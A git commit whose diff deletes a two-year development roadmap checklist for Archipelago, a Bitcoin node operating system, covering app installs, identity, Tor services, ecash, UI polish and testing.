fix: BUG-33 CPU threshold, TASK-27 tab icons, TASK-36 iframe errors
- BUG-33: CPU load alert threshold increased from 2x to 4x core count (8→16 on 4-core machine) to reduce false alerts during container ops - TASK-27: Launch buttons for new-tab apps now show external link icon (BTCPay, Grafana, PhotoPrism, Portainer, OnlyOffice, etc.) - TASK-36: Iframe error screen now distinguishes between X-Frame-Options blocked vs container not reachable, with appropriate messaging Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -1,3 +0,0 @@
|
||||
# Overnight Plan -- loop
|
||||
|
||||
> Tasks will be generated during setup.
|
||||
@@ -1,337 +0,0 @@
|
||||
# 2-Year Production Roadmap — Archipelago v1.0
|
||||
|
||||
**Goal**: Take Archipelago from developer preview to a flawless, mass-market Bitcoin Node OS. Every app installs perfectly, every service runs reliably, every interaction is polished and intuitive — on desktop and mobile.
|
||||
|
||||
**Timeline**: March 2026 → March 2028 (8 quarters)
|
||||
**Method**: Quarterly phases, each building on the last. Deploy and verify after every task.
|
||||
|
||||
---
|
||||
|
||||
## Q1 2026 (Mar–May): Foundation Hardening
|
||||
|
||||
### Phase 1A: App Store Reliability — Every App Installs Without Fail
|
||||
|
||||
- [x] **APP-101** — fix(marketplace): audit and fix all 24 marketplace app install flows. For each app in `getCuratedAppList()` in `neode-ui/src/views/Marketplace.vue` (bitcoin-knots, electrs, btcpay-server, lnd, mempool, homeassistant, grafana, searxng, ollama, onlyoffice, penpot, nextcloud, vaultwarden, jellyfin, photoprism, immich, filebrowser, nginx-proxy-manager, portainer, uptime-kuma, tailscale, fedimint, indeedhub), verify each one: (1) marketplace card renders correctly with icon, (2) clicking Install triggers `package.install` RPC, (3) container pulls and creates successfully, (4) container starts on the correct ports per `apps/PORTS.md`, (5) status shows "Running" in My Apps. Fix any broken apps. Deploy with `./scripts/deploy-to-target.sh --live`. Test each app at http://192.168.1.228.
|
||||
|
||||
- [x] **APP-102** — fix(apps): ensure iframe vs new-tab behavior is correct for all apps. In `neode-ui/src/stores/appLauncher.ts`, verify `mustOpenInNewTab()` includes all apps that set `X-Frame-Options: DENY/SAMEORIGIN`. Currently covers BTCPay (23000), Home Assistant (8123), Nextcloud (8085), Immich (2283). Test each running app by clicking "Open" in AppDetails.vue — iframe apps must load inside the overlay, new-tab apps must open in a fresh browser tab. If any app fails to load in iframe, either fix the nginx proxy to strip X-Frame-Options or add it to `mustOpenInNewTab()`. Deploy and verify each app.
|
||||
|
||||
- [x] **APP-103** — fix(apps): verify all PORT_TO_PROXY mappings in appLauncher.ts match nginx config. Cross-reference every entry in `PORT_TO_PROXY` in `neode-ui/src/stores/appLauncher.ts` with the actual nginx location blocks in `image-recipe/configs/nginx-archipelago.conf` and `image-recipe/configs/snippets/archipelago-https-app-proxies.conf`. Any missing nginx proxy blocks must be added. Any port mismatches must be corrected. Deploy nginx config and verify each app loads via its proxy path.
|
||||
|
||||
- [x] **APP-104** — fix(deploy): ensure first-boot-containers.sh creates every marketplace app container. Compare the apps listed in `scripts/first-boot-containers.sh` with `scripts/deploy-to-target.sh`. Any app that deploy creates but first-boot doesn't must be added to first-boot. This ensures fresh ISO installs have all containers ready.
|
||||
|
||||
- [x] **APP-105** — fix(backend): verify get_app_config() handles all 24 apps. In `core/archipelago/src/api/rpc/package.rs`, check `get_app_config()` returns correct ports, volumes, env vars, and custom args for every marketplace app. Any app missing its config will fail to install. Add missing configs.
|
||||
|
||||
- [x] **APP-106** — fix(backend): verify get_app_metadata() for all 24 apps. In `core/archipelago/src/container/docker_packages.rs`, check `get_app_metadata()` returns correct title, description, icon path, and repo URL for every marketplace app. Fix missing or incorrect entries.
|
||||
|
||||
### Phase 1B: App Dependencies — Bitcoin, Lightning, Fedimint Chains
|
||||
|
||||
- [x] **DEP-101** — fix(backend): implement robust dependency checking for all apps. In `core/archipelago/src/api/rpc/package.rs`, ensure dependency checks work: Electrs requires Bitcoin Knots running, LND requires Bitcoin Knots running, BTCPay requires LND running, Mempool requires Bitcoin Knots + Electrs. When installing an app with unmet dependencies, the UI should either auto-install dependencies or show a clear message: "Bitcoin Knots must be installed and running first." Deploy and verify by trying to install Electrs without Bitcoin.
|
||||
|
||||
- [x] **DEP-102** — fix(ui): show dependency status in MarketplaceAppDetails.vue. When viewing an app that has dependencies, show a "Requirements" section listing each dependency with a green checkmark (installed & running), yellow warning (installed but stopped), or red X (not installed). Add an "Install All Requirements" button that queues dependency installations in order. This lives in `neode-ui/src/views/MarketplaceAppDetails.vue`.
|
||||
|
||||
- [x] **DEP-103** — feat(fedimint): integrate Fedimint Guardian + Gateway as paired services. Fedimint currently runs as a single container (fedimintd). Add Fedimint Gateway as a companion service that runs alongside the Guardian. In `scripts/deploy-to-target.sh`, when creating fedimint, also create `fedimint-gateway` container using `fedimint/gatewayd` image. Configure the gateway to auto-connect to the guardian. In the Marketplace, show Fedimint as one app that runs both services. The UI should show both Guardian and Gateway status.
|
||||
|
||||
- [x] **DEP-104** — feat(fedimint): auto-configure Fedimint Gateway to use LND. The Fedimint Gateway needs a Lightning backend. When both LND and Fedimint are installed, auto-configure the gateway to use LND's gRPC endpoint. In `core/archipelago/src/api/rpc/package.rs`, add Fedimint Gateway config that reads LND's tls.cert and admin.macaroon from the LND data volume. The user should only need to open lightning channels — everything else should be automatic.
|
||||
|
||||
- [x] **DEP-105** — feat(ui): lightning channel management interface. Create `neode-ui/src/views/apps/LightningChannels.vue` accessible from the LND app detail page. Show: (1) list of open channels with capacity bars, (2) "Open Channel" button with peer URI input and amount, (3) channel status (pending open/close, active, inactive), (4) total inbound/outbound liquidity summary. Use existing RPC to call LND's REST API through the backend proxy. This is critical for Fedimint Gateway to be useful.
|
||||
|
||||
### Phase 1C: Animation & UI Polish
|
||||
|
||||
- [x] **ANIM-101** — fix(css): audit and improve all transition animations in style.css. In `neode-ui/src/style.css`, review every `transition` property. Standardize: (1) hover lifts use `transform: translateY(-2px)` with `transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1)`, (2) active presses use `translateY(1px)`, (3) color transitions use `transition: color 0.2s ease, background-color 0.2s ease`, (4) modal/overlay entrances use `transition: opacity 0.3s ease, transform 0.3s cubic-bezier(0.4, 0, 0.2, 1)`. Replace all `transition: all 0.3s ease` with specific properties to avoid animating layout properties. Deploy and verify animations feel smooth.
|
||||
|
||||
- [x] **ANIM-102** — fix(ui): add smooth page transitions between routes. In `neode-ui/src/views/Dashboard.vue`, wrap `<RouterView>` in a `<Transition>` component with `name="page"`. In `style.css`, add: `.page-enter-active, .page-leave-active { transition: opacity 0.2s ease, transform 0.2s ease; }` `.page-enter-from { opacity: 0; transform: translateY(8px); }` `.page-leave-to { opacity: 0; }`. This gives every page navigation a subtle fade-up entrance. Deploy and verify navigation feels smooth.
|
||||
|
||||
- [x] **ANIM-103** — fix(ui): add staggered entrance animations for card grids. In views that display card grids (Apps.vue, Marketplace.vue, Home.vue, Web5.vue), add staggered entrance animations so cards appear one after another with a 50ms delay. Use CSS `animation-delay` with `nth-child()` or Vue's `<TransitionGroup>`. The effect should be subtle — cards fade in and slide up slightly. Deploy and verify.
|
||||
|
||||
- [x] **ANIM-104** — fix(ui): smooth loading state transitions. In all views that have loading states, ensure the transition from loading to loaded is animated — not an instant swap. Use Vue's `<Transition>` with `mode="out-in"` around loading/content states. The loading spinner should fade out as the content fades in. Deploy and verify on Apps, Marketplace, Server, and Home views.
|
||||
|
||||
- [x] **ANIM-105** — fix(ui): polish the app launcher overlay animation. In `neode-ui/src/components/AppLauncherOverlay.vue`, ensure the overlay slides up smoothly when opening an app. Add a subtle backdrop blur transition. The iframe should have a loading indicator that fades out when the app loads. The close animation should slide down. Use `will-change: transform` for GPU acceleration. Deploy and verify.
|
||||
|
||||
### Phase 1D: Mobile Responsiveness
|
||||
|
||||
- [x] **MOB-101** — fix(ui): audit and fix all views at 375px (iPhone SE) width. Test every view at 375px: Login, Dashboard sidebar, Home, Apps, Marketplace, AppDetails, MarketplaceAppDetails, Settings, Web5, Cloud, Server, Chat. Fix: horizontal overflow, overlapping elements, text truncation, buttons too small to tap (min 44px touch target), broken grid layouts. Add or fix responsive Tailwind classes in `style.css`. Deploy and verify.
|
||||
|
||||
- [x] **MOB-102** — fix(ui): optimize sidebar navigation for mobile. The Dashboard sidebar should collapse to a bottom tab bar on mobile (< 768px). Show icons only with labels below. The mode switcher should be accessible from Settings on mobile. Ensure the sidebar doesn't overlap content on mobile. Deploy and verify.
|
||||
|
||||
- [x] **MOB-103** — fix(ui): optimize app launcher overlay for mobile. The app iframe launcher should be full-screen on mobile with a sticky top bar (app title + close + open-in-new-tab). On desktop, maintain the current overlay style. Deploy and verify apps are usable on mobile.
|
||||
|
||||
---
|
||||
|
||||
## Q2 2026 (Jun–Aug): Identity & Onboarding
|
||||
|
||||
### Phase 2A: Multi-Identity System
|
||||
|
||||
- [x] **ID-101** — feat(backend): implement identity manager with multiple DIDs. Create `core/archipelago/src/identity/mod.rs` with: (1) `IdentityManager` struct that stores multiple identities in `/var/lib/archipelago/identity/`, (2) each identity has an Ed25519 keypair, a DID, a display name, and a purpose tag (personal, business, anonymous), (3) the first identity is created during onboarding, (4) RPC endpoints: `identity.list`, `identity.create`, `identity.delete`, `identity.get`, `identity.set-default`. Store identities encrypted using the node's master key. Build on server and deploy.
|
||||
|
||||
- [x] **ID-102** — feat(backend): implement identity signing service. Add `identity.sign` and `identity.verify` RPC endpoints. `identity.sign` takes a DID id and a message, returns a detached Ed25519 signature. `identity.verify` takes a DID, message, and signature, returns boolean. This enables apps to request signatures from the user's chosen identity. Build on server and deploy.
|
||||
|
||||
- [x] **ID-103** — feat(ui): identity management view. Create a new "Identity" section in the Web5 view (replace the hidden `v-if="false"` DID section at line 429 of `Web5.vue`). Show: (1) list of all identities with name, DID (truncated), purpose badge, (2) "Create Identity" button that opens a modal with name + purpose selector, (3) each identity card has Copy DID, Set Default, Delete actions, (4) the default identity shows a star badge. Wire to the backend RPC endpoints from ID-101. Deploy and verify.
|
||||
|
||||
- [x] **ID-104** — feat(ui): identity picker for service connections. Create a reusable `<IdentityPicker>` component that shows a dropdown of the user's identities with their names and truncated DIDs. When a service (like Indeehub) needs a DID, it calls this component to let the user choose which identity to use. The selected identity's DID and signing capability are then passed to the service.
|
||||
|
||||
- [x] **ID-105** — feat(backend): Nostr identity bridge. Each identity can optionally have an associated Nostr keypair (secp256k1). Add `identity.create-nostr-key` RPC that generates a Nostr keypair linked to an identity. Add `identity.nostr-sign` for NIP-01 event signing. This bridges the DID world with Nostr. The user's Nostr pubkey is derivable from their identity. Build on server and deploy.
|
||||
|
||||
- [x] **ID-106** — feat(apps): Indeehub identity integration. When opening Indeehub, pass the user's selected identity DID via the iframe URL or postMessage. Indeehub should recognize the user's sovereign identity without requiring account creation. Implement the postMessage protocol: parent sends `{ type: 'archipelago:identity', did: '...', signature: '...' }`, Indeehub responds with `{ type: 'archipelago:identity:ack' }`. Deploy and verify Indeehub recognizes the user.
|
||||
|
||||
### Phase 2B: Onboarding Flow Polish
|
||||
|
||||
- [x] **ONB-101** — fix(ui): polish onboarding intro animation. In `neode-ui/src/views/OnboardingIntro.vue`, add a cinematic entrance: the Archipelago logo fades in with a subtle scale (0.95 → 1.0), followed by the tagline sliding up, then the "Get Started" button fading in. Total duration: 2 seconds. Use CSS keyframe animations. Deploy and verify.
|
||||
|
||||
- [x] **ONB-102** — fix(ui): improve onboarding DID step UX. In `OnboardingDid.vue`, when the backend generates the DID, show a brief animation of key generation (spinning lock icon → checkmark). Display the DID in a styled card with a copy button. Explain in plain language: "This is your sovereign digital identity. It proves you are you, without any company in the middle." Deploy and verify.
|
||||
|
||||
- [x] **ONB-103** — fix(ui): add identity purpose selection to onboarding. After DID creation in onboarding, add a step where the user names their first identity (default: "Personal") and optionally selects a purpose (Personal, Business, Anonymous). This feeds into the multi-identity system from ID-101. Deploy and verify.
|
||||
|
||||
- [x] **ONB-104** — fix(ui): smooth transition between onboarding steps. Add a horizontal slide transition between onboarding steps — swiping left to advance, right to go back. Use `<Transition>` with `name="slide"` and direction-aware classes. Deploy and verify the flow feels like swiping through cards.
|
||||
|
||||
---
|
||||
|
||||
## Q3 2026 (Sep–Nov): Network & Node Discovery
|
||||
|
||||
### Phase 3A: Node Overlay Network
|
||||
|
||||
- [x] **NET-101** — feat(backend): implement node visibility signaling. Create `core/archipelago/src/network/overlay.rs` with: (1) a `NodeVisibility` enum (Hidden, Discoverable, Public), (2) RPC endpoints `network.set-visibility` and `network.get-visibility`, (3) when set to Discoverable, the node publishes a Nostr NIP-33 replaceable event (kind 30078, tag `d:archipelago-node`) with its onion address and public DID, (4) when set to Hidden, the event is deleted. This uses the existing Nostr discovery code in `core/archipelago/src/nostr_discovery.rs`. Build on server and deploy.
|
||||
|
||||
- [x] **NET-102** — feat(backend): implement connection request protocol. Add RPC endpoints: `network.request-connection` (sends a connection request to a peer's onion address over Tor), `network.list-requests` (shows pending incoming requests), `network.accept-request` (adds peer to trusted list), `network.reject-request`. Connection requests are sent as encrypted Nostr DMs (NIP-04) containing the sender's DID and onion address. Build on server and deploy.
|
||||
|
||||
- [x] **NET-103** — feat(ui): node visibility controls in Web5 view. In the Web5 view, add a "Node Visibility" card (replace or augment the existing Connected Nodes section). Show: (1) current visibility status (Hidden/Discoverable/Public), (2) toggle to change visibility, (3) when Discoverable, show the node's onion address, (4) warning: "Making your node discoverable lets other Archipelago users find and connect with you." Wire to NET-101 RPCs. Deploy and verify.
|
||||
|
||||
- [x] **NET-104** — feat(ui): connection request management. In the Web5 view, add a "Connection Requests" tab to the Connected Nodes section. Show: (1) incoming requests with sender DID and timestamp, (2) Accept/Reject buttons, (3) notification badge on the Web5 sidebar icon when requests are pending. Wire to NET-102 RPCs. Deploy and verify.
|
||||
|
||||
- [x] **NET-105** — feat(backend): implement peer health monitoring. Add a background task that periodically (every 5 minutes) checks if connected peers are reachable over Tor. Update peer status in the database. Send WebSocket events when peer status changes. The existing `rpcClient.checkPeerReachable()` in Web5.vue already calls this — ensure the backend implementation is robust with timeouts. Build on server and deploy.
|
||||
|
||||
### Phase 3B: Tor Services Management
|
||||
|
||||
- [x] **TOR-101** — feat(backend): implement Tor hidden service management RPC. Create RPC endpoints: `tor.list-services` (returns all configured hidden services with their .onion addresses), `tor.create-service` (creates a new hidden service for a given local port), `tor.delete-service`, `tor.get-onion-address`. Read from `/var/lib/archipelago/tor/` directory structure. Currently Tor setup is hardcoded in deploy script — make it dynamic. Build on server and deploy.
|
||||
|
||||
- [x] **TOR-102** — feat(ui): Tor services management in Settings or Web5. Add a "Tor Services" section showing: (1) list of all hidden services with their .onion addresses and what app they expose, (2) toggle to enable/disable Tor for each service, (3) "Broadcast my services over Tor" master toggle, (4) copy .onion address button for each service. Wire to TOR-101 RPCs. Deploy and verify.
|
||||
|
||||
- [x] **TOR-103** — fix(deploy): make Tor hidden service creation dynamic. Refactor `scripts/deploy-to-target.sh` Tor section (lines 471-530) to read from a config file (`/var/lib/archipelago/tor/services.json`) instead of hardcoding services. When an app is installed that supports Tor, automatically add a hidden service entry. When uninstalled, remove it. Rebuild torrc from the config file and restart the Tor container. Deploy and verify.
|
||||
|
||||
- [x] **TOR-104** — feat(backend): Tor-based content serving. When a peer accesses your node over Tor, serve only the content you've explicitly made available. Create `core/archipelago/src/network/content_server.rs` with: (1) a list of shared content items (files, streams), (2) access control per item (free, paid via ecash), (3) a lightweight HTTP handler that serves content to authenticated peers. This is the foundation for content streaming. Build on server and deploy.
|
||||
|
||||
---
|
||||
|
||||
## Q4 2026 (Dec–Feb 2027): Ecash & Content Economy
|
||||
|
||||
### Phase 4A: Ecash Integration
|
||||
|
||||
- [x] **ECASH-101** — feat(backend): implement Cashu ecash wallet. Create `core/archipelago/src/wallet/ecash.rs` with: (1) Cashu wallet client that connects to the local Fedimint mint, (2) RPC endpoints: `wallet.ecash-balance`, `wallet.ecash-mint` (create ecash tokens from Lightning), `wallet.ecash-melt` (redeem ecash to Lightning), `wallet.ecash-send` (create ecash token for peer), `wallet.ecash-receive` (accept ecash token from peer). Use the Cashu protocol for interoperability. Build on server and deploy.
|
||||
|
||||
- [x] **ECASH-102** — feat(ui): ecash wallet in Web5 view. Replace the dummy "Web5 Wallet" card in Web5.vue (lines 221-268) with a real ecash wallet UI. Show: (1) ecash balance in sats, (2) Mint button (Lightning → ecash), (3) Melt button (ecash → Lightning), (4) Send button (generates ecash token string), (5) Receive button (paste ecash token), (6) transaction history. Wire to ECASH-101 RPCs. Deploy and verify.
|
||||
|
||||
- [x] **ECASH-103** — feat(backend): implement pay-per-access content gating. Extend the content server from TOR-104 with ecash payment verification. When content is marked as "paid", the server returns a 402 Payment Required with a Cashu invoice. The requesting peer pays with ecash, receives a receipt token, and includes it in subsequent requests. Implement in `core/archipelago/src/network/content_server.rs`. Build on server and deploy.
|
||||
|
||||
- [x] **ECASH-104** — feat(ui): content pricing controls. In the content sharing UI (to be built in Phase 4B), add pricing controls: (1) free/paid toggle per content item, (2) price in sats input, (3) "Pay what you want" option with minimum, (4) preview: "Peers will pay X sats to access this." Wire to backend content server config. Deploy and verify.
|
||||
|
||||
### Phase 4B: Content Streaming & File Sharing
|
||||
|
||||
- [x] **CONTENT-101** — feat(backend): implement content catalog RPC. Create `core/archipelago/src/network/content_catalog.rs` with: (1) `content.list-mine` — list content I'm sharing, (2) `content.add` — add a file or stream to my catalog, (3) `content.remove` — stop sharing, (4) `content.set-pricing` — free or ecash-gated, (5) `content.set-availability` — available to all peers, specific peers, or nobody. Store catalog in `/var/lib/archipelago/content/catalog.json`. Build on server and deploy.
|
||||
|
||||
- [x] **CONTENT-102** — feat(backend): implement peer content browsing. Add `content.browse-peer` RPC that connects to a peer's onion address over Tor and fetches their content catalog. Returns a list of available items with titles, descriptions, sizes, and prices. The peer's content server (TOR-104) serves the catalog at a well-known endpoint. Build on server and deploy.
|
||||
|
||||
- [x] **CONTENT-103** — feat(backend): implement content streaming protocol. For media files (video, audio), implement chunked streaming over Tor. The requesting node sends a range request, the serving node streams the content chunk by chunk. For paid content, payment is per-chunk (micropayments via ecash). Use HTTP range requests over the Tor hidden service. Build on server and deploy.
|
||||
|
||||
- [x] **CONTENT-104** — feat(ui): content sharing dashboard. Create a "Content" tab in the Web5 view. Show: (1) "My Shared Content" — list of files/streams you're sharing with pricing, (2) "Add Content" button — file picker to add from Cloud/FileBrowser, (3) "Browse Peers" — select a connected peer and browse their catalog, (4) download/stream buttons with payment flow for paid content. Deploy and verify.
|
||||
|
||||
- [x] **CONTENT-105** — feat(ui): content streaming player. When a user clicks to stream video/audio from a peer, open a media player in the app launcher overlay. Show: (1) video/audio player with standard controls, (2) streaming progress indicator, (3) cost tracker (total sats spent on this stream), (4) quality selector if multiple qualities available. Use HTML5 `<video>` or `<audio>` with the Tor-proxied stream URL. Deploy and verify.
|
||||
|
||||
### Phase 4C: Networking Profits — Real Data
|
||||
|
||||
- [x] **PROFIT-101** — feat(backend): implement networking profit tracking. Replace the dummy "₿0.024" in Web5.vue with real data. Create `core/archipelago/src/wallet/profits.rs` with: (1) track all ecash received from content sharing, (2) track Lightning routing fees (from LND), (3) RPC endpoint `wallet.networking-profits` that returns total earnings, breakdown by source, and time series. Build on server and deploy.
|
||||
|
||||
- [x] **PROFIT-102** — feat(ui): real networking profits display. Update the "Networking Profits" quick action in Web5.vue (lines 12-23) to show real data from PROFIT-101. Show total earnings, breakdown (content sales, routing fees), and a mini sparkline chart of recent earnings. Deploy and verify.
|
||||
|
||||
---
|
||||
|
||||
## Q1 2027 (Mar–May): Web5 & Decentralized Services
|
||||
|
||||
### Phase 5A: DWN (Decentralized Web Node) Integration
|
||||
|
||||
- [x] **DWN-101** — feat(backend): implement DWN container management. Add a DWN service (using TBD's `dwn-server` or equivalent) as a marketplace app. The DWN stores the user's personal data and makes it accessible via DID-based protocols. In `core/archipelago/src/api/rpc/package.rs`, add DWN app config with proper ports and volumes. In Marketplace.vue, add DWN to the curated list. Deploy and verify.
|
||||
|
||||
- [x] **DWN-102** — feat(backend): implement DWN sync protocol. Create `core/archipelago/src/network/dwn_sync.rs` that: (1) syncs the user's DWN data with their other devices, (2) allows connected peers to query your DWN for data you've shared, (3) implements DWN protocol handlers for standard message types. Replace the `_syncDWNs()` TODO in Web5.vue with real functionality. Build on server and deploy.
|
||||
|
||||
- [x] **DWN-103** — feat(ui): make the DWN section in Web5 functional. Replace the hidden (`v-if="false"`) DWN section in Web5.vue (lines 481-530) with a real interface. Show: (1) DWN status (running/stopped/syncing), (2) storage usage, (3) sync status with connected nodes, (4) data protocols registered, (5) "Manage DWN" button that opens the DWN admin interface. Wire to DWN-102 RPCs. Deploy and verify.
|
||||
|
||||
### Phase 5B: Bitcoin Domain Names
|
||||
|
||||
- [x] **DOMAIN-101** — feat(backend): implement BNS (Bitcoin Name System) integration. Research and integrate a Bitcoin naming system (e.g., BNS on Stacks, or Nostr NIP-05 verification). Create `core/archipelago/src/identity/names.rs` with: (1) name registration, (2) name resolution, (3) linking a name to a DID. RPC endpoints: `identity.register-name`, `identity.resolve-name`, `identity.list-names`. Build on server and deploy.
|
||||
|
||||
- [x] **DOMAIN-102** — feat(ui): make Bitcoin Domain Names section functional. Replace the dummy "Bitcoin Domain Names" card in Web5.vue (lines 170-219) with real data. Show: (1) owned names with status, (2) registration flow, (3) name → DID linking, (4) expiry management. Wire to DOMAIN-101 RPCs. Deploy and verify.
|
||||
|
||||
### Phase 5C: Nostr Relay Management
|
||||
|
||||
- [x] **NOSTR-101** — feat(backend): implement Nostr relay management. Create RPC endpoints: `nostr.list-relays` (returns configured relays with connection status), `nostr.add-relay` (add a relay URL), `nostr.remove-relay`, `nostr.get-stats` (events stored, connected clients). Currently relay count is hardcoded to 8 in Web5.vue — make it real. Build on server and deploy.
|
||||
|
||||
- [x] **NOSTR-102** — feat(ui): make Nostr Relays section functional. Replace the dummy "Nostr Relays" card in Web5.vue (lines 270-319) with real data. Replace hardcoded `nostrRelaysConnected = ref(8)` with live data from NOSTR-101. Show: (1) connected relay count, (2) relay list with status indicators, (3) add/remove relay controls, (4) events stored count. Wire `manageRelays()` function to open a relay management modal. Deploy and verify.
|
||||
|
||||
- [x] **NOSTR-103** — feat(apps): run your own Nostr relay. Add `nostr-rs-relay` or `strfry` to the marketplace (already listed in PORTS.md). When installed, the user's node runs its own Nostr relay that: (1) stores their events locally, (2) can be made public for others, (3) gets a Tor hidden service automatically, (4) feeds into the node's relay list in the Nostr management UI. Deploy and verify.
|
||||
|
||||
### Phase 5D: Self-Sovereign Identity Service — Real Implementation
|
||||
|
||||
- [x] **SSI-101** — feat(backend): implement credential issuance and verification. Extend the identity manager with Verifiable Credential (VC) support: `identity.issue-credential` (issue a VC from one of your DIDs), `identity.verify-credential` (verify a VC against a DID), `identity.list-credentials`. Use W3C VC Data Model. Build on server and deploy.
|
||||
|
||||
- [x] **SSI-102** — feat(ui): make SSI section functional. Replace the hidden (`v-if="false"`) SSI section in Web5.vue (lines 532-581) with real data. Show: (1) managed identities count, (2) issued credentials list, (3) service status, (4) credential issuance flow. Deploy and verify.
|
||||
|
||||
---
|
||||
|
||||
## Q2 2027 (Jun–Aug): Router & Network Infrastructure
|
||||
|
||||
### Phase 6A: Router Integration
|
||||
|
||||
- [x] **ROUTER-101** — feat(backend): implement UPnP port forwarding. Create `core/archipelago/src/network/router.rs` with: (1) UPnP device discovery, (2) automatic port forwarding for exposed services, (3) RPC endpoints: `router.discover`, `router.list-forwards`, `router.add-forward`, `router.remove-forward`. When a user enables "expose service X", automatically create UPnP port forwards. Build on server and deploy.
|
||||
|
||||
- [x] **ROUTER-102** — feat(backend): implement network diagnostics. Add `network.diagnostics` RPC that returns: (1) WAN IP address, (2) NAT type detection, (3) UPnP availability, (4) open ports test, (5) Tor connectivity status, (6) DNS resolution test, (7) recommended actions for improving connectivity. Build on server and deploy.
|
||||
|
||||
- [x] **ROUTER-103** — feat(ui): network settings dashboard. Create a "Network" view (or section in Settings) showing: (1) network status overview (WAN IP, NAT type, Tor status), (2) port forwarding management, (3) UPnP status and controls, (4) "Fix Network" wizard that guides users through common issues (double NAT, blocked ports), (5) Tailscale integration status. Wire to ROUTER-101/102 RPCs. Deploy and verify.
|
||||
|
||||
- [x] **ROUTER-104** — feat(backend): open-source router compatibility layer. Research OpenWrt, pfSense, and OPNsense APIs. Implement a router abstraction layer that can communicate with these routers directly (not just UPnP). When a compatible router is detected, offer enhanced features: direct port management, firewall rules, DNS configuration. Build on server and deploy.
|
||||
|
||||
### Phase 6B: Wallet & Payments Polish
|
||||
|
||||
- [x] **WALLET-101** — feat(ui): replace dummy wallet data with real backend. The Web5 wallet section currently shows hardcoded "₿0.025" balance and "12 pending" transactions. Connect to LND's wallet RPC to show: (1) real on-chain balance, (2) real Lightning balance, (3) ecash balance, (4) recent transactions. Deploy and verify.
|
||||
|
||||
- [x] **WALLET-102** — feat(ui): unified send/receive flow. Create a send/receive modal accessible from the wallet card. Support: (1) on-chain Bitcoin send/receive, (2) Lightning invoice create/pay, (3) ecash send/receive, (4) automatic method selection based on amount (ecash for small, Lightning for medium, on-chain for large). Deploy and verify.
|
||||
|
||||
- [x] **WALLET-103** — feat(backend): implement wallet connect protocol. Create a standard protocol for apps to request payments from the user's wallet. When an app (in iframe) needs a payment, it sends a postMessage to the parent. The parent shows a payment confirmation dialog. On confirm, the wallet makes the payment and returns a receipt. This replaces the `connectWallet` TODO in Web5.vue. Build on server and deploy.
|
||||
|
||||
---
|
||||
|
||||
## Q3 2027 (Sep–Nov): Easy Mode & Goal System
|
||||
|
||||
### Phase 7A: Easy Mode Implementation
|
||||
|
||||
- [x] **EASY-101** — feat(ui): implement the Easy Mode home screen. Following `docs/three-mode-ui-design.md`, build `neode-ui/src/components/EasyHome.vue` with goal cards: Open a Shop, Accept Payments, Store My Photos, Store My Files, Run a Lightning Node, Create My Identity, Back Up Everything. Each card shows title, description, estimated time, difficulty, and a "Start" button. Use the existing glass-card design system. Deploy and verify.
|
||||
|
||||
- [x] **EASY-102** — feat(ui): implement the goal workflow wizard. Build `neode-ui/src/views/GoalDetail.vue` (may already exist partially) as a multi-step wizard. For each goal: (1) show all steps with status (completed/in-progress/pending), (2) auto-complete steps where the app is already installed, (3) real-time progress from WebSocket for installations, (4) "configure" steps open the app in iframe for user to complete. Wire to app installation RPCs. Deploy and verify with "Accept Payments" goal (Bitcoin + LND).
|
||||
|
||||
- [x] **EASY-103** — feat(stores): implement goal progress tracking. Create `neode-ui/src/stores/goals.ts` that: (1) tracks which goals the user has started/completed, (2) persists to backend via UIData, (3) computes step completion based on installed app status, (4) emits events for goal completion celebrations. Deploy and verify.
|
||||
|
||||
- [x] **EASY-104** — feat(ui): mode switcher in sidebar. Build `neode-ui/src/components/ModeSwitcher.vue` as a three-segment toggle (Easy / Pro / Chat). Place it in the Dashboard sidebar below the logo. When switching modes, sidebar navigation items change per the spec in `three-mode-ui-design.md`. Persist mode choice to localStorage and backend. Deploy and verify.
|
||||
|
||||
### Phase 7B: Pro Mode Enhancements
|
||||
|
||||
- [x] **PRO-101** — feat(ui): add Quick Start Goals to Pro mode home. At the bottom of the Pro mode Home view, add a "Quick Start Goals" section showing horizontal-scrolling goal cards. These link to the same GoalDetail wizard. Gives power users access to guided workflows without switching to Easy mode. Deploy and verify.
|
||||
|
||||
- [x] **PRO-102** — feat(ui): add goals to Spotlight Search. In `neode-ui/src/data/helpTree.ts`, add all goal definitions as searchable items with the "Quick Start Goals" category. When selected, navigate to the goal wizard. Deploy and verify goals appear in Cmd+K search.
|
||||
|
||||
### Phase 7C: Chat Mode — AIUI Integration
|
||||
|
||||
- [x] **CHAT-101** — feat(ui): implement Chat mode home with full AIUI integration. The existing Chat.vue loads AIUI in an iframe. In Chat mode, make this the primary interface. Add context-aware prompts: "What apps are installed?", "Set up Lightning", "How much disk space is left?". Wire to the context broker service. Deploy and verify.
|
||||
|
||||
- [x] **CHAT-102** — feat(backend): extend context broker for goal execution. When the user tells AIUI "Set up a Lightning node", the context broker should: (1) identify this as the "Run a Lightning Node" goal, (2) execute goal steps via RPC, (3) stream progress back to the chat. This bridges natural language to the goal system. Deploy and verify.
|
||||
|
||||
---
|
||||
|
||||
## Q4 2027 (Dec–Feb 2028): Testing & Reliability
|
||||
|
||||
### Phase 8A: Comprehensive App Testing
|
||||
|
||||
- [x] **TEST-201** — test(apps): automated install/uninstall test for all 24 marketplace apps. Create a test script that: (1) installs each app via RPC, (2) waits for container to start, (3) verifies health check passes, (4) verifies UI loads (curl the app port), (5) uninstalls the app, (6) verifies container is removed. Run on the dev server. Fix any failures.
|
||||
|
||||
- [x] **TEST-202** — test(apps): dependency chain test. Test all dependency chains: (1) Install Electrs → should prompt for Bitcoin first, (2) Install BTCPay → should install Bitcoin + LND + BTCPay in order, (3) Install Mempool → should install Bitcoin + Electrs + Mempool in order, (4) Install Fedimint Gateway → should require Fedimint Guardian + LND. Fix any broken chains.
|
||||
|
||||
- [x] **TEST-203** — test(apps): iframe/new-tab verification for all apps. For each running app, verify: (1) apps that should iframe actually load in iframe (test with fetch + check X-Frame-Options header), (2) apps that should open in new tab are correctly in `mustOpenInNewTab()`, (3) no mixed content errors on HTTPS. Fix any issues.
|
||||
|
||||
### Phase 8B: Network Testing
|
||||
|
||||
- [x] **TEST-204** — test(network): peer discovery and connection flow. Test: (1) enable node visibility → verify Nostr event published, (2) second node discovers first via Nostr, (3) connection request sent over Tor, (4) request accepted, peer added to list, (5) message sent between peers over Tor, (6) message received and displayed in UI. Fix any failures.
|
||||
|
||||
